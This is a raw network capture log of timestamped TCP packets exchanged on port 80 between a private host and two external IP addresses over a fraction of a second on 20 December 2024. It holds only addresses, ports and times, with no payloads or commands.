Dec 20, 2024 17:43:48.942534924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.942547083 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.942558050 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.942574978 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.942580938 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.942589045 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.942599058 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.942610025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.942626953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.942646980 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.943424940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.943435907 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.943445921 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.943461895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.943470955 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.943481922 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.943490028 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.943491936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.943506002 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.943567038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.943567038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.943794012 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.944407940 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.944420099 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.944430113 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.944446087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.944457054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.944468975 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.944479942 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.944514036 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.944515944 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.944544077 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.944566965 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.945303917 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.945316076 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.945327044 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.945338011 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.945347071 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.945357084 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.945368052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.945379972 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.945380926 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.945437908 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.945439100 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.946258068 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.946269989 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.946281910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.946294069 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.946300030 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.946305990 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.946317911 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.946338892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.946348906 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.946382046 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.946583986 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.947192907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.947211981 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.947222948 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.947236061 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.947242022 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.947252035 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.947263002 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.947277069 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.947297096 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.947340012 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.947407007 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.947454929 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.948009014 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.948028088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.948040009 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.948060989 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.948079109 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.948112011 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.948518991 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.948605061 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.948616982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.948628902 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.948641062 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.948642969 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.948642969 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.948652029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.948663950 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.948685884 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.948714972 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.948774099 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.949481010 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.949492931 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.949503899 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.949516058 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.949523926 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.949533939 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.949546099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.949556112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.949604988 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.949604988 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.949685097 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.950402021 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.950413942 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.950426102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.950440884 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.950453997 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.950467110 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.950490952 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.950490952 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.950539112 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.950572014 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.951342106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.951354027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.951364040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.951378107 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.951387882 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.951397896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.951409101 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.951416969 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.951417923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.951426983 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.951462030 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.951505899 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.952176094 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.952301025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.952311993 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.952322960 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.952342033 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.952375889 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.952375889 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.953260899 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.953273058 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.953284025 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.953294992 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.953305960 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.953316927 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.953334093 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.953334093 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.953419924 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.954096079 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.954107046 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.954118013 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.954173088 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.954173088 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.954174995 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.954191923 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.954204082 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.954265118 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.954265118 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.954999924 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955012083 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955030918 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955043077 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955064058 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.955116034 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.955425024 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955522060 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955533028 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955543041 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955558062 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.955558062 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.955564976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955576897 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.955621004 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.955621004 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.956353903 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.956427097 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.956444025 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.956454992 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.956466913 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.956479073 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.956478119 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.956478119 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.956490040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.956521988 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.956554890 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.957390070 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.957402945 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.957413912 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.957432985 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.957444906 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.957458019 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.957463026 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.957463026 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.957473040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.957526922 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.957526922 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.958296061 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.958307028 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.958317995 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.958329916 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.958348989 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.958359957 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.958368063 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.958368063 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.958427906 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.959131002 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.959175110 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.959218979 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.959233046 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.959243059 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.959254026 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.959264040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.959275007 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.959296942 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.959296942 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.959332943 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.960144043 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.960155010 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.960165977 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.960176945 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.960190058 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.960201025 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.960216999 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.960226059 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.960226059 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.960315943 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.961023092 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.961040020 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.961051941 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.961069107 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.961093903 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.961105108 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.961117983 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.961118937 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.961118937 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.961118937 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.961143970 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.961278915 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.962924957 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.962937117 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.962941885 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.962953091 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.962966919 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.962990999 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.963025093 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.963738918 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.963782072 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.963819027 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.963830948 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.963841915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.963855028 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.963867903 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.963879108 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.963887930 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.963927031 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.964416027 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.964715958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.964728117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.964739084 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.964745045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.964762926 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.964768887 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.964780092 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.964792013 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.964816093 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.964847088 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.965563059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.965636015 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.965656042 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.965667963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.965677977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.965691090 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.965698957 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.965708971 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.965753078 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.965771914 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.966615915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.966634989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.966645956 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.966655970 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.966666937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.966676950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.966686964 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.966697931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.966706038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.966715097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.966742039 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.966775894 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.967514992 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.967531919 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.967542887 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.967555046 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.967566967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.967575073 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.967585087 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.967597008 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.967623949 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.967642069 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.967843056 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.968384981 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.968405008 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.968415976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.968426943 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.968440056 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.968446970 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.968446970 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.968451977 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.968462944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.968508959 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.968508959 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.969362974 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.969374895 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.969386101 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.969398022 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.969400883 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.969409943 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.969420910 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.969465971 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.969465971 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.970379114 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.970434904 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.970448017 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.970458984 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.970464945 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.970479965 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.970490932 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.970503092 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.970534086 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.970534086 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.970555067 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.971293926 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.971307039 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.971328974 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.971339941 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.971352100 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.971365929 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.971379995 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.971379995 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.971668005 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.971987009 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.971997976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972008944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972019911 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972032070 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972043991 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972070932 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.972070932 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.972764015 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.972932100 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972943068 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972954988 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972974062 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972985029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.972995996 CET	80	49776	194.126.174.112	192.168.2.6
